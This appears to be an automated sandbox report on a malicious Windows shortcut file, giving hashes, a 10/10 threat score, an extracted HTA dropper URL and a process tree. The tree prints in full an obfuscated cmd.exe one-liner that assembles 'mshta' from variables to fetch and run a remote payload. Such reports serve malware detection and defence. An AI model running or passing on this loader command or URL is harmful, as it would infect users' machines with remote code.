Analysis
- max time kernel
60s - max time network
25s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/08/2026, 14:05
Static task
static1
Behavioral task
behavioral1
Sample
Nota_-P2300I.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
Nota_-P2300I.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target Nota_-P2300I.lnk
- Size 1KB
- Sample260816-rd67vszwet
- SHA256 cbb2ccc5f4472b84ef54b2a4053808669eaf6f9454e184bdba4556eab01f9e02
- MD5 f84f274e1c3937f5f99290b2ecff76d1
- SHA1 ea720b86daf6746c1aa9e9bb6cb9673644abda70
- SHA512 c4db7e5e98b10a57efde0bc05a0e6c041ac50f40b78135e9fe39770e7058caa30c4d94c8fe7990088b72f524abb695a27c70e0bc4da9fefe7aff80357e9df676
- TLSH T1053168002EFD4650F3F68FB688BB672089BBFA668E108A1E0140454D1072A05E57AF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://fiscal.nfe-online.com/h/estagio1.php?r=391C7CE85D88
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4340 cmd.exe 2680 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4340 wrote to memory of 2680 4340 cmd.exe 90 PID 2680 wrote to memory of 3660 2680 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Nota_-P2300I.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set fqBGC=msh&&set ZqRuz=ta&&start "" !fqBGC!!ZqRuz! https://fiscal.nfe-online.com/h/estagio1.php?r=391C7CE85D88"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\System32\mshta.exemshta https://fiscal.nfe-online.com/h/estagio1.php?r=391C7CE85D883⤵PID:3660
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